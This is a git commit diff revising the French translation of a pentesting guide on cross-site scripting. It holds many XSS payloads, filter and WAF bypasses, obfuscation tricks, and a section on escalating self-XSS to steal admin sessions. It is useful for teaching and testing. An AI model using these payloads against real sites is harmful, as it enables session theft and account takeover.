Translated ['pentesting-web/xss-cross-site-scripting/README.md'] to fr

This commit is contained in:
Translator 2024-06-14 11:10:36 +00:00
parent f47d36ff3e
commit 83e57af80a

View file

@ -28,7 +28,7 @@ Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossi
2. Pouvez-vous échapper à la chaîne et exécuter un code JS différent ? 2. Pouvez-vous échapper à la chaîne et exécuter un code JS différent ?
3. Vos entrées sont-elles dans des littéraux de modèle \`\` ? 3. Vos entrées sont-elles dans des littéraux de modèle \`\` ?
4. Pouvez-vous contourner les protections ? 4. Pouvez-vous contourner les protections ?
4. Fonction **JavaScript** en train d'être **exécutée** : 4. Fonction JavaScript **exécutée**
1. Vous pouvez indiquer le nom de la fonction à exécuter. par ex. : `?callback=alert(1)` 1. Vous pouvez indiquer le nom de la fonction à exécuter. par ex. : `?callback=alert(1)`
4. Si **utilisée** : 4. Si **utilisée** :
1. Vous pourriez exploiter un **XSS DOM**, faites attention à la façon dont votre entrée est contrôlée et si votre **entrée contrôlée est utilisée par une faille**. 1. Vous pourriez exploiter un **XSS DOM**, faites attention à la façon dont votre entrée est contrôlée et si votre **entrée contrôlée est utilisée par une faille**.
@ -43,9 +43,9 @@ Lorsque vous travaillez sur un XSS complexe, il peut être intéressant de conna
Pour exploiter avec succès un XSS, la première chose que vous devez trouver est une **valeur contrôlée par vous qui est réfléchie** dans la page web. Pour exploiter avec succès un XSS, la première chose que vous devez trouver est une **valeur contrôlée par vous qui est réfléchie** dans la page web.
* **Réfléchie de manière intermédiaire** : Si vous trouvez que la valeur d'un paramètre ou même le chemin est réfléchie dans la page web, vous pourriez exploiter un **XSS Réfléchi**. * **Réfléchie de manière intermédiaire** : Si vous trouvez que la valeur d'un paramètre ou même le chemin est réfléchi dans la page web, vous pourriez exploiter un **XSS Réfléchi**.
* **Stockée et réfléchie** : Si vous trouvez qu'une valeur contrôlée par vous est enregistrée sur le serveur et est réfléchie à chaque fois que vous accédez à une page, vous pourriez exploiter un **XSS Stocké**. * **Stockée et réfléchie** : Si vous trouvez qu'une valeur contrôlée par vous est enregistrée sur le serveur et est réfléchie à chaque fois que vous accédez à une page, vous pourriez exploiter un **XSS Stocké**.
* **Accédée via JS** : Si vous trouvez qu'une valeur contrôlée par vous est accédée en utilisant JS, vous pourriez exploiter un **XSS DOM**. * **Accédé via JS** : Si vous trouvez qu'une valeur contrôlée par vous est accédée en utilisant JS, vous pourriez exploiter un **XSS DOM**.
## Contextes ## Contextes
@ -65,7 +65,7 @@ Si votre entrée est réfléchie à l'intérieur de la valeur de l'attribut d'un
3. Si vous **ne pouvez pas sortir de l'attribut** (`"` est encodé ou supprimé), alors en fonction de **quel attribut** votre valeur est réfléchie dans **si vous contrôlez toute la valeur ou juste une partie** vous pourrez l'exploiter. Par **exemple**, si vous contrôlez un événement comme `onclick=`, vous pourrez le faire exécuter du code arbitraire lorsqu'il est cliqué. Un autre **exemple** intéressant est l'attribut `href`, où vous pouvez utiliser le protocole `javascript:` pour exécuter du code arbitraire : **`href="javascript:alert(1)"`** 3. Si vous **ne pouvez pas sortir de l'attribut** (`"` est encodé ou supprimé), alors en fonction de **quel attribut** votre valeur est réfléchie dans **si vous contrôlez toute la valeur ou juste une partie** vous pourrez l'exploiter. Par **exemple**, si vous contrôlez un événement comme `onclick=`, vous pourrez le faire exécuter du code arbitraire lorsqu'il est cliqué. Un autre **exemple** intéressant est l'attribut `href`, où vous pouvez utiliser le protocole `javascript:` pour exécuter du code arbitraire : **`href="javascript:alert(1)"`**
4. Si votre entrée est réfléchie à l'intérieur de "**balises non exploitables**" vous pourriez essayer le truc de **`accesskey`** pour exploiter la vulnérabilité (vous aurez besoin d'une sorte d'ingénierie sociale pour exploiter cela) : **`" accesskey="x" onclick="alert(1)" x="`** 4. Si votre entrée est réfléchie à l'intérieur de "**balises non exploitables**" vous pourriez essayer le truc de **`accesskey`** pour exploiter la vulnérabilité (vous aurez besoin d'une sorte d'ingénierie sociale pour exploiter cela) : **`" accesskey="x" onclick="alert(1)" x="`**
Exemple étrange d'Angular exécutant un XSS si vous contrôlez un nom de classe : Exemple étrange d'Angular exécutant un XSS si vous contrôlez un nom de classe :
```html ```html
<div ng-app> <div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong> <strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
@ -75,7 +75,7 @@ Exemple étrange d'Angular exécutant un XSS si vous contrôlez un nom de classe
Dans ce cas, votre entrée est réfléchie entre les balises **`<script> [...] </script>`** d'une page HTML, à l'intérieur d'un fichier `.js` ou à l'intérieur d'un attribut utilisant le protocole **`javascript:`** : Dans ce cas, votre entrée est réfléchie entre les balises **`<script> [...] </script>`** d'une page HTML, à l'intérieur d'un fichier `.js` ou à l'intérieur d'un attribut utilisant le protocole **`javascript:`** :
* Si elle est réfléchie entre les balises **`<script> [...] </script>`**, même si votre entrée est à l'intérieur de guillemets, vous pouvez essayer d'injecter `</script>` et vous échapper de ce contexte. Cela fonctionne car le **navigateur analysera d'abord les balises HTML** puis le contenu, il ne remarquera donc pas que votre balise `</script>` injectée est à l'intérieur du code HTML. * Si elle est réfléchie entre les balises **`<script> [...] </script>`**, même si votre entrée est à l'intérieur de guillemets, vous pouvez essayer d'injecter `</script>` et vous échapper de ce contexte. Cela fonctionne car le **navigateur analysera d'abord les balises HTML** puis le contenu, donc il ne remarquera pas que votre balise `</script>` injectée est à l'intérieur du code HTML.
* Si elle est réfléchie **à l'intérieur d'une chaîne JS** et que le dernier astuce ne fonctionne pas, vous devrez **sortir** de la chaîne, **exécuter** votre code et **reconstruire** le code JS (s'il y a une erreur, elle ne sera pas exécutée) : * Si elle est réfléchie **à l'intérieur d'une chaîne JS** et que le dernier astuce ne fonctionne pas, vous devrez **sortir** de la chaîne, **exécuter** votre code et **reconstruire** le code JS (s'il y a une erreur, elle ne sera pas exécutée) :
* `'-alert(1)-'` * `'-alert(1)-'`
* `';-alert(1)//` * `';-alert(1)//`
@ -100,7 +100,7 @@ La levée de Javascript fait référence à la possibilité de **déclarer des f
Plusieurs pages web ont des points de terminaison qui **acceptent en tant que paramètre le nom de la fonction à exécuter**. Un exemple courant que l'on peut voir est quelque chose comme : `?callback=callbackFunc`. Plusieurs pages web ont des points de terminaison qui **acceptent en tant que paramètre le nom de la fonction à exécuter**. Un exemple courant que l'on peut voir est quelque chose comme : `?callback=callbackFunc`.
Une bonne façon de savoir si quelque chose donné directement par l'utilisateur tente d'être exécuté est de **modifier la valeur du paramètre** (par exemple en la remplaçant par 'Vulnerable') et de chercher dans la console les erreurs comme : Une bonne façon de savoir si quelque chose donné directement par l'utilisateur tente d'être exécuté est de **modifier la valeur du paramètre** (par exemple en la remplaçant par 'Vulnerable') et de chercher dans la console des erreurs comme :
![](<../../.gitbook/assets/image (711).png>) ![](<../../.gitbook/assets/image (711).png>)
@ -122,7 +122,7 @@ Vous pouvez également essayer de **déclencher des fonctions Javascript** direc
Cependant, généralement les points d'extrémité exécutant la fonction indiquée sont des points d'extrémité sans beaucoup de DOM intéressant, **d'autres pages dans la même origine** auront un **DOM plus intéressant** pour effectuer davantage d'actions. Cependant, généralement les points d'extrémité exécutant la fonction indiquée sont des points d'extrémité sans beaucoup de DOM intéressant, **d'autres pages dans la même origine** auront un **DOM plus intéressant** pour effectuer davantage d'actions.
Par conséquent, afin d'**exploiter cette vulnérabilité dans un DOM différent**, l'exploitation de la **Méthode d'Exécution de la Même Origine (SOME)** a été développée : Par conséquent, pour **exploiter cette vulnérabilité dans un DOM différent**, l'exploitation de la **Méthode d'Exécution de la Même Origine (SOME)** a été développée :
{% content-ref url="some-same-origin-method-execution.md" %} {% content-ref url="some-same-origin-method-execution.md" %}
[some-same-origin-method-execution.md](some-same-origin-method-execution.md) [some-same-origin-method-execution.md](some-same-origin-method-execution.md)
@ -130,7 +130,7 @@ Par conséquent, afin d'**exploiter cette vulnérabilité dans un DOM différent
### DOM ### DOM
Il y a du **code JS** qui utilise de manière **non sécurisée** des **données contrôlées par un attaquant** comme `location.href`. Un attaquant pourrait abuser de cela pour exécuter du code JS arbitraire. Il y a du **code JS** qui utilise de manière **non sécurisée** des données contrôlées par un attaquant comme `location.href`. Un attaquant pourrait abuser de cela pour exécuter du code JS arbitraire.
{% content-ref url="dom-xss.md" %} {% content-ref url="dom-xss.md" %}
[dom-xss.md](dom-xss.md) [dom-xss.md](dom-xss.md)
@ -138,7 +138,7 @@ Il y a du **code JS** qui utilise de manière **non sécurisée** des **données
### **XSS Universel** ### **XSS Universel**
Ce type de XSS peut être trouvé **n'importe où**. Ils ne dépendent pas seulement de l'exploitation côté client d'une application web mais de **n'importe quel** **contexte**. Ce type d'**exécution de JavaScript arbitraire** peut même être abusé pour obtenir une **RCE**, **lire** des **fichiers arbitraires** sur les clients et les serveurs, et plus encore.\ Ce type de XSS peut être trouvé **partout**. Ils ne dépendent pas seulement de l'exploitation côté client d'une application web mais de **tout** **contexte**. Ce type d'**exécution de JavaScript arbitraire** peut même être abusé pour obtenir une **RCE**, **lire** des **fichiers** **arbitraires** sur les clients et les serveurs, et plus encore.\
Quelques **exemples** : Quelques **exemples** :
{% content-ref url="server-side-xss-dynamic-pdf.md" %} {% content-ref url="server-side-xss-dynamic-pdf.md" %}
@ -149,11 +149,11 @@ Quelques **exemples** :
[electron-desktop-apps](../../network-services-pentesting/pentesting-web/electron-desktop-apps/) [electron-desktop-apps](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
{% endcontent-ref %} {% endcontent-ref %}
## Contournement WAF encodage image ## Contournement WAF en encodant une image
![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../.gitbook/assets/EauBb2EX0AERaNK (1).jpg>) ![de https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../.gitbook/assets/EauBb2EX0AERaNK (1).jpg>)
## Injection dans du HTML brut ## Injection à l'intérieur du HTML brut
Lorsque votre entrée est réfléchie **à l'intérieur de la page HTML** ou que vous pouvez échapper et injecter du code HTML dans ce contexte, la **première** chose à faire est de vérifier si vous pouvez abuser de `<` pour créer de nouvelles balises : Essayez simplement de **réfléchir** ce **caractère** et vérifiez s'il est **encodé en HTML** ou **supprimé** ou s'il est **réfléchi sans modifications**. **Seulement dans le dernier cas vous pourrez exploiter ce cas**.\ Lorsque votre entrée est réfléchie **à l'intérieur de la page HTML** ou que vous pouvez échapper et injecter du code HTML dans ce contexte, la **première** chose à faire est de vérifier si vous pouvez abuser de `<` pour créer de nouvelles balises : Essayez simplement de **réfléchir** ce **caractère** et vérifiez s'il est **encodé en HTML** ou **supprimé** ou s'il est **réfléchi sans modifications**. **Seulement dans le dernier cas vous pourrez exploiter ce cas**.\
Pour ces cas, gardez également à l'esprit [**l'Injection de Modèles Côté Client**](../client-side-template-injection-csti.md)**.**\ Pour ces cas, gardez également à l'esprit [**l'Injection de Modèles Côté Client**](../client-side-template-injection-csti.md)**.**\
@ -165,16 +165,16 @@ Dans ce cas, et si aucune liste noire/liste blanche n'est utilisée, vous pourri
<img src=x onerror=alert(1) /> <img src=x onerror=alert(1) />
<svg onload=alert('XSS')> <svg onload=alert('XSS')>
``` ```
Mais, si la liste blanche/noire des balises/attributs est utilisée, vous devrez **forcer de manière brutale quelles balises** vous pouvez créer.\ Mais, si la liste noire/liste blanche des balises/attributs est utilisée, vous devrez **forcer de manière brutale quelles balises** vous pouvez créer.\
Une fois que vous avez **localisé quelles balises sont autorisées**, vous devrez **forcer de manière brutale les attributs/événements** à l'intérieur des balises valides trouvées pour voir comment vous pouvez attaquer le contexte. Une fois que vous avez **localisé quelles balises sont autorisées**, vous devrez **forcer de manière brutale les attributs/événements** à l'intérieur des balises valides trouvées pour voir comment vous pouvez attaquer le contexte.
### Forcer de manière brutale les balises/événements ### Forçage brutal des balises/événements
Allez sur [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) et cliquez sur _**Copier les balises dans le presse-papiers**_. Ensuite, envoyez-les toutes en utilisant Burp Intruder et vérifiez si des balises n'ont pas été découvertes comme malveillantes par le WAF. Une fois que vous avez découvert quelles balises vous pouvez utiliser, vous pouvez **forcer de manière brutale tous les événements** en utilisant les balises valides (sur la même page web, cliquez sur _**Copier les événements dans le presse-papiers**_ et suivez la même procédure qu'auparavant). Allez sur [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) et cliquez sur _**Copier les balises dans le presse-papiers**_. Ensuite, envoyez-les toutes en utilisant Burp Intruder et vérifiez si des balises n'ont pas été découvertes comme malveillantes par le WAF. Une fois que vous avez découvert quelles balises vous pouvez utiliser, vous pouvez **forcer de manière brutale tous les événements** en utilisant les balises valides (sur la même page web, cliquez sur _**Copier les événements dans le presse-papiers**_ et suivez la même procédure qu'auparavant).
### Balises personnalisées ### Balises personnalisées
Si vous n'avez trouvé aucune balise HTML valide, vous pourriez essayer de **créer une balise personnalisée** et exécuter du code JS avec l'attribut `onfocus`. Dans la requête XSS, vous devez terminer l'URL avec `#` pour que la page se **concentre sur cet objet** et **exécute** le code : Si vous n'avez trouvé aucune balise HTML valide, vous pourriez essayer de **créer une balise personnalisée** et exécuter du code JS avec l'attribut `onfocus`. Dans la requête XSS, vous devez terminer l'URL avec `#` pour que la page **se concentre sur cet objet** et **exécute** le code :
``` ```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x /?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
``` ```
@ -243,19 +243,19 @@ onerror=alert`1`
``` ```
Le dernier consiste à utiliser 2 caractères Unicode qui se développent en 5 : telsr\ Le dernier consiste à utiliser 2 caractères Unicode qui se développent en 5 : telsr\
Plus de ces caractères peuvent être trouvés [ici](https://www.unicode.org/charts/normalization/).\ Plus de ces caractères peuvent être trouvés [ici](https://www.unicode.org/charts/normalization/).\
Pour vérifier dans quels caractères sont décomposés, consultez [ici](https://www.compart.com/en/unicode/U+2121). Pour vérifier dans quels caractères sont décomposés, vérifiez [ici](https://www.compart.com/en/unicode/U+2121).
### Clic XSS - Clickjacking ### Click XSS - Clickjacking
Si pour exploiter la vulnérabilité vous avez besoin que **l'utilisateur clique sur un lien ou un formulaire** avec des données préremplies, vous pourriez essayer de [**abuser du Clickjacking**](../clickjacking.md#xss-clickjacking) (si la page est vulnérable). Si pour exploiter la vulnérabilité vous avez besoin que **l'utilisateur clique sur un lien ou un formulaire** avec des données préremplies, vous pourriez essayer de [**abuser du Clickjacking**](../clickjacking.md#xss-clickjacking) (si la page est vulnérable).
### Impossible - Balisage suspendu ### Impossible - Dangling Markup
Si vous pensez simplement que **il est impossible de créer une balise HTML avec un attribut pour exécuter du code JS**, vous devriez vérifier [**Balisage suspendu**](../dangling-markup-html-scriptless-injection/) car vous pourriez **exploiter** la vulnérabilité **sans** exécuter de code **JS**. Si vous pensez simplement que **il est impossible de créer une balise HTML avec un attribut pour exécuter du code JS**, vous devriez vérifier [**Danglig Markup**](../dangling-markup-html-scriptless-injection/) car vous pourriez **exploiter** la vulnérabilité **sans** exécuter de code **JS**.
## Injection à l'intérieur de la balise HTML ## Injection à l'intérieur de la balise HTML
### À l'intérieur de la balise/échappement de la valeur de l'attribut ### À l'intérieur de la balise/échapper de la valeur de l'attribut
Si vous êtes **à l'intérieur d'une balise HTML**, la première chose que vous pourriez essayer est de **s'échapper** de la balise et d'utiliser certaines des techniques mentionnées dans la [section précédente](./#injecting-inside-raw-html) pour exécuter du code JS.\ Si vous êtes **à l'intérieur d'une balise HTML**, la première chose que vous pourriez essayer est de **s'échapper** de la balise et d'utiliser certaines des techniques mentionnées dans la [section précédente](./#injecting-inside-raw-html) pour exécuter du code JS.\
Si vous **ne pouvez pas vous échapper de la balise**, vous pourriez créer de nouveaux attributs à l'intérieur de la balise pour essayer d'exécuter du code JS, par exemple en utilisant une charge utile comme (_notez que dans cet exemple, les guillemets doubles sont utilisés pour s'échapper de l'attribut, vous n'en aurez pas besoin si votre entrée est reflétée directement à l'intérieur de la balise_): Si vous **ne pouvez pas vous échapper de la balise**, vous pourriez créer de nouveaux attributs à l'intérieur de la balise pour essayer d'exécuter du code JS, par exemple en utilisant une charge utile comme (_notez que dans cet exemple, les guillemets doubles sont utilisés pour s'échapper de l'attribut, vous n'en aurez pas besoin si votre entrée est reflétée directement à l'intérieur de la balise_):
@ -275,7 +275,7 @@ Si vous **ne pouvez pas vous échapper de la balise**, vous pourriez créer de n
``` ```
### Dans l'attribut ### Dans l'attribut
Même si vous **ne pouvez pas vous échapper de l'attribut** (`"` est encodé ou supprimé), en fonction de **quel attribut** votre valeur est reflétée **si vous contrôlez toute la valeur ou juste une partie** vous pourrez en abuser. Par **exemple**, si vous contrôlez un événement comme `onclick=`, vous pourrez le faire exécuter du code arbitraire lorsqu'il est cliqué.\ Même si vous **ne pouvez pas vous échapper de l'attribut** (`"` est encodé ou supprimé), en fonction de **quel attribut** votre valeur est reflétée, **si vous contrôlez toute la valeur ou juste une partie**, vous pourrez en abuser. Par **exemple**, si vous contrôlez un événement comme `onclick=`, vous pourrez le faire exécuter du code arbitraire lorsqu'il est cliqué.\
Un autre **exemple** intéressant est l'attribut `href`, où vous pouvez utiliser le protocole `javascript:` pour exécuter du code arbitraire : **`href="javascript:alert(1)"`** Un autre **exemple** intéressant est l'attribut `href`, où vous pouvez utiliser le protocole `javascript:` pour exécuter du code arbitraire : **`href="javascript:alert(1)"`**
**Contourner à l'intérieur de l'événement en utilisant l'encodage HTML/l'encodage d'URL** **Contourner à l'intérieur de l'événement en utilisant l'encodage HTML/l'encodage d'URL**
@ -333,7 +333,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
``` ```
**Endroits où vous pouvez injecter ces protocoles** **Endroits où vous pouvez injecter ces protocoles**
**En général**, le protocole `javascript:` peut être **utilisé dans n'importe quelle balise acceptant l'attribut `href`** et dans **la plupart** des balises acceptant l'attribut `src` (mais pas `<img`) **En général**, le protocole `javascript:` peut être **utilisé dans n'importe quelle balise qui accepte l'attribut `href`** et dans **la plupart** des balises qui acceptent l'attribut **`src`** (mais pas `<img`)
```markup ```markup
<a href="javascript:alert(1)"> <a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4="> <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@ -355,11 +355,11 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
``` ```
**Autres astuces d'obfuscation** **Autres astuces d'obfuscation**
_**Dans ce cas, le codage HTML et le tour de codage Unicode de la section précédente sont également valides car vous vous trouvez à l'intérieur d'un attribut.**_ _**Dans ce cas, l'encodage HTML et l'astuce d'encodage Unicode de la section précédente sont également valides car vous êtes à l'intérieur d'un attribut.**_
```javascript ```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'"> <a href="javascript:var a='&apos;-alert(1)-&apos;'">
``` ```
De plus, il y a une **astuce intéressante** pour ces cas : **Même si votre entrée à l'intérieur de `javascript:...` est encodée en URL, elle sera décodée avant d'être exécutée.** Ainsi, si vous avez besoin de **échapper** de la **chaîne** en utilisant une **apostrophe** et que vous voyez que **elle est encodée en URL**, rappelez-vous que **peu importe,** elle sera **interprétée** comme une **apostrophe** pendant le **temps d'exécution**. De plus, il y a une autre **astuce intéressante** pour ces cas : **Même si votre entrée à l'intérieur de `javascript:...` est encodée en URL, elle sera décodée avant d'être exécutée.** Ainsi, si vous avez besoin de **vous échapper** de la **chaîne de caractères** en utilisant une **apostrophe** et que vous voyez que **elle est encodée en URL**, rappelez-vous que **peu importe,** elle sera **interprétée** comme une **apostrophe** pendant le **temps d'exécution**.
```javascript ```javascript
&apos;-alert(1)-&apos; &apos;-alert(1)-&apos;
%27-alert(1)-%27 %27-alert(1)-%27
@ -424,7 +424,7 @@ Et dans les **balises meta** :
<button popovertarget="newsletter">Subscribe to newsletter</button> <button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div> <div popover id="newsletter">Newsletter popup</div>
``` ```
À partir de [**ici**](https://portswigger.net/research/xss-in-hidden-input-fields) : Vous pouvez exécuter une **charge utile XSS à l'intérieur d'un attribut caché**, à condition de pouvoir **persuader** la **victime** d'appuyer sur la **combinaison de touches**. Sur Firefox Windows/Linux, la combinaison de touches est **ALT+SHIFT+X** et sur OS X, c'est **CTRL+ALT+X**. Vous pouvez spécifier une combinaison de touches différente en utilisant une autre touche dans l'attribut de touche d'accès. Voici le vecteur : À partir de [**ici**](https://portswigger.net/research/xss-in-hidden-input-fields) : Vous pouvez exécuter une **charge XSS à l'intérieur d'un attribut caché**, à condition de pouvoir **persuader** la **victime** d'appuyer sur la **combinaison de touches**. Sur Firefox Windows/Linux, la combinaison de touches est **ALT+SHIFT+X** et sur OS X, c'est **CTRL+ALT+X**. Vous pouvez spécifier une combinaison de touches différente en utilisant une autre touche dans l'attribut de touche d'accès. Voici le vecteur :
```markup ```markup
<input type="hidden" accesskey="X" onclick="alert(1)"> <input type="hidden" accesskey="X" onclick="alert(1)">
``` ```
@ -432,13 +432,13 @@ Et dans les **balises meta** :
### Contournements de liste noire ### Contournements de liste noire
Plusieurs astuces utilisant différents encodages ont déjà été exposées dans cette section. Retournez en arrière pour apprendre où vous pouvez utiliser : Plusieurs astuces utilisant différents encodages ont déjà été exposées dans cette section. Retournez pour apprendre où vous pouvez utiliser :
* Encodage HTML (balises HTML) * **Encodage HTML (balises HTML)**
* Encodage Unicode (peut être un code JS valide) : `\u0061lert(1)` * **Encodage Unicode (peut être un code JS valide) :** `\u0061lert(1)`
* Encodage d'URL * **Encodage d'URL**
* Encodage hexadécimal et octal * **Encodage hexadécimal et octal**
* Encodage de données * **Encodage de données**
**Contournements pour les balises et attributs HTML** **Contournements pour les balises et attributs HTML**
@ -450,7 +450,7 @@ Lisez la [liste de contournement JavaScript de la section suivante](./#javascrip
### Gadgets CSS ### Gadgets CSS
Si vous trouvez une XSS dans une toute petite partie du site web qui nécessite une sorte d'interaction (peut-être un petit lien dans le pied de page avec un élément onmouseover), vous pouvez essayer de **modifier l'espace occupé par cet élément** pour maximiser les chances que le lien soit déclenché. Si vous trouvez un **XSS dans une toute petite partie** du site web qui nécessite une sorte d'interaction (peut-être un petit lien dans le pied de page avec un élément onmouseover), vous pouvez essayer de **modifier l'espace occupé par cet élément** pour maximiser les chances que le lien soit déclenché.
Par exemple, vous pourriez ajouter un style à l'élément comme ceci : `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5` Par exemple, vous pourriez ajouter un style à l'élément comme ceci : `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
@ -482,7 +482,7 @@ Notez que dans cet exemple, nous **n'avons même pas fermé l'apostrophe**. Cela
### À l'intérieur du code JS ### À l'intérieur du code JS
Si les `<>` sont sanitaires, vous pouvez toujours **échapper la chaîne** là où votre entrée est **localisée** et **exécuter du JS arbitraire**. Il est important de **corriger la syntaxe JS**, car en cas d'erreurs, le code JS ne sera pas exécuté: Si les `<>` sont nettoyés, vous pouvez toujours **échapper la chaîne** là où votre entrée est **située** et **exécuter du JS arbitraire**. Il est important de **corriger la syntaxe JS**, car en cas d'erreurs, le code JS ne sera pas exécuté:
``` ```
'-alert(document.domain)-' '-alert(document.domain)-'
';alert(document.domain)// ';alert(document.domain)//
@ -563,7 +563,7 @@ eval(8680439..toString(30))(983801..toString(36))
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line #!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line -->This is a 1 line comment, but "-->" must to be at the beggining of the first line
``` ```
**Nouvelles lignes JavaScript (à partir de** [**astuce nouvelle ligne JavaScript**](./#javascript-new-lines) **)** **Nouvelles lignes JavaScript (à partir de** [**astuce de nouvelle ligne JavaScript**](./#javascript-new-lines) **)**
```javascript ```javascript
//Javascript interpret as new line these chars: //Javascript interpret as new line these chars:
String.fromCharCode(10); alert('//\nalert(1)') //0x0a String.fromCharCode(10); alert('//\nalert(1)') //0x0a
@ -733,17 +733,39 @@ top['al\x65rt'](1)
top[8680439..toString(30)](1) top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg> <svg><animate onbegin=alert() attributeName=x></svg>
```` ````
## **Vulnérabilités DOM** ## Vulnérabilités DOM
Il y a du **code JS** qui utilise des **données contrôlées de manière non sécurisée par un attaquant** comme `location.href`. Un attaquant pourrait en abuser pour exécuter du code JS arbitraire.\ Il y a du **code JS** qui utilise des **données contrôlées de manière non sécurisée par un attaquant** comme `location.href`. Un attaquant pourrait en abuser pour exécuter du code JS arbitraire.\
**En raison de l'extension de l'explication des** [**vulnérabilités DOM, elle a été déplacée sur cette page**](dom-xss.md)**:** **En raison de l'extension de l'explication des** [**vulnérabilités DOM, elle a été déplacée vers cette page**](dom-xss.md)**:**
{% content-ref url="dom-xss.md" %} {% content-ref url="dom-xss.md" %}
[dom-xss.md](dom-xss.md) [dom-xss.md](dom-xss.md)
{% endcontent-ref %} {% endcontent-ref %}
Là, vous trouverez une **explication détaillée de ce que sont les vulnérabilités DOM, comment elles sont provoquées et comment les exploiter**.\ Vous y trouverez une **explication détaillée de ce que sont les vulnérabilités DOM, comment elles sont provoquées et comment les exploiter**.\
N'oubliez pas qu'**à la fin de l'article mentionné**, vous pouvez trouver une explication sur les [**attaques de DOM Clobbering**](dom-xss.md#dom-clobbering). N'oubliez pas qu'**à la fin de l'article mentionné**, vous trouverez une explication sur les [**attaques de DOM Clobbering**](dom-xss.md#dom-clobbering).
### Mise à niveau de l'auto-XSS
### XSS de cookie
Si vous pouvez déclencher un XSS en envoyant la charge utile dans un cookie, il s'agit généralement d'un auto-XSS. Cependant, si vous trouvez un **sous-domaine vulnérable au XSS**, vous pourriez exploiter ce XSS pour injecter un cookie dans l'ensemble du domaine, parvenant ainsi à déclencher le XSS de cookie dans le domaine principal ou d'autres sous-domaines (ceux vulnérables au XSS de cookie). Pour cela, vous pouvez utiliser l'attaque de lancer de cookie :
{% content-ref url="../hacking-with-cookies/cookie-tossing.md" %}
[cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md)
{% endcontent-ref %}
Vous trouverez un excellent exemple de l'abus de cette technique dans [**cet article de blog**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
### Envoi de votre session à l'administrateur
Peut-être qu'un utilisateur peut partager son profil avec l'administrateur et si l'auto-XSS est présente dans le profil de l'utilisateur et que l'administrateur y accède, il déclenchera la vulnérabilité.
### Miroir de session
Si vous trouvez un auto-XSS et que la page web a un **miroir de session pour les administrateurs**, par exemple en permettant aux clients de demander de l'aide et pour que l'administrateur puisse vous aider, il verra ce que vous voyez dans votre session mais depuis sa session.
Vous pourriez faire en sorte que l'**administrateur déclenche votre auto-XSS** et vole ses cookies/session.
## Autres contournements ## Autres contournements
@ -757,8 +779,8 @@ Vous pourriez vérifier si les **valeurs réfléchies** sont **normalisées en U
``` ```
### Contournement Ruby-On-Rails ### Contournement Ruby-On-Rails
En raison des **affectations massives RoR**, des guillemets sont insérés dans le HTML, puis la restriction des guillemets est contournée et des champs supplémentaires (onfocus) peuvent être ajoutés à l'intérieur de la balise.\ En raison des **affectations de masse RoR**, des guillemets sont insérés dans le HTML, puis la restriction des guillemets est contournée et des champs supplémentaires (onfocus) peuvent être ajoutés à l'intérieur de la balise.\
Par exemple de formulaire ([de ce rapport](https://hackerone.com/reports/709336)), si vous envoyez la charge utile : Par exemple ([à partir de ce rapport](https://hackerone.com/reports/709336)), si vous envoyez la charge utile :
``` ```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
``` ```
@ -837,7 +859,7 @@ const char* const kSupportedJavascriptTypes[] = {
}; };
``` ```
### Types de scripts pour XSS ### Types de script pour XSS
(De [**ici**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Alors, quels types pourraient être indiqués pour charger un script? (De [**ici**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Alors, quels types pourraient être indiqués pour charger un script?
```html ```html
@ -846,7 +868,7 @@ const char* const kSupportedJavascriptTypes[] = {
La réponse est : La réponse est :
* **module** (par défaut, rien à expliquer) * **module** (par défaut, rien à expliquer)
* [**webbundle**](https://web.dev/web-bundles/): Les Web Bundles sont une fonctionnalité qui vous permet de regrouper un ensemble de données (HTML, CSS, JS...) dans un fichier **`.wbn`**. * [**webbundle**](https://web.dev/web-bundles/): Web Bundles est une fonctionnalité qui vous permet de regrouper un ensemble de données (HTML, CSS, JS...) dans un fichier **`.wbn`**.
```html ```html
<script type="webbundle"> <script type="webbundle">
{ {
@ -918,7 +940,7 @@ Si la page renvoie un type de contenu text/xml, il est possible d'indiquer un es
``` ```
### Modèles de Remplacement Spéciaux ### Modèles de Remplacement Spéciaux
